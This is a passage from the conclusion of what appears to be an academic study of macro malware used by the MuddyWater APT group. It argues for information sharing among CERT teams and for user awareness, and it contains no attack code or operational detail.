“Parliaments Al-Quds”, all the 10Cs were identified
during our analysis. Thus, it can be concluded that our
methodology is effective and concise. However, we
strongly recall that even basic principles have never been
changed, each malware is unique, and every analysis must
be done in a unique way.

6. CONCLUSION

It is known that MuddyWater has been operating for more
than a year and their attack vectors have not changed yet.
Therefore, it can be concluded that attack vectors are still
effective and useful. In future, macro malware is expected
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to survive and cause further damage to the cyber
ecosystem.

In addition, CERTSs have been generally avoided reporting
detected threats to the public or share with each other. But
a strong coordination and experience exchange between
CERT teams are also seen as mandatory to prevent the
attack regardless of which institution is attacked. We
predict that published attack reports will not damage
repetition but rather it will enhance the efforts of securing
the perimeter against APT groups.

Updated antivirus firewalls, and other endpoint security
solutions are well-known measures against attacks. But as
explained, there are some methods to bypass group policy
and security measures, thus, this practice cannot be
satisfactory. In addition, users access their business
emails while they are out of office. Hence, hardening
institutional networks won’t be adequate, either. All users
must be informed about macro malware and APT groups’
strategies.

In summary, this study suggests a better perspective to the
users, software developers, and security administrators
about macro malware and the key features of the
MuddyWater. We believe that several people involved in
the software development business will be able to design
APT based Attack Detection and Prevention Tool by
examining the content of our study. We also think that our
study will be a guide for future academic studies
especially on macro malware.
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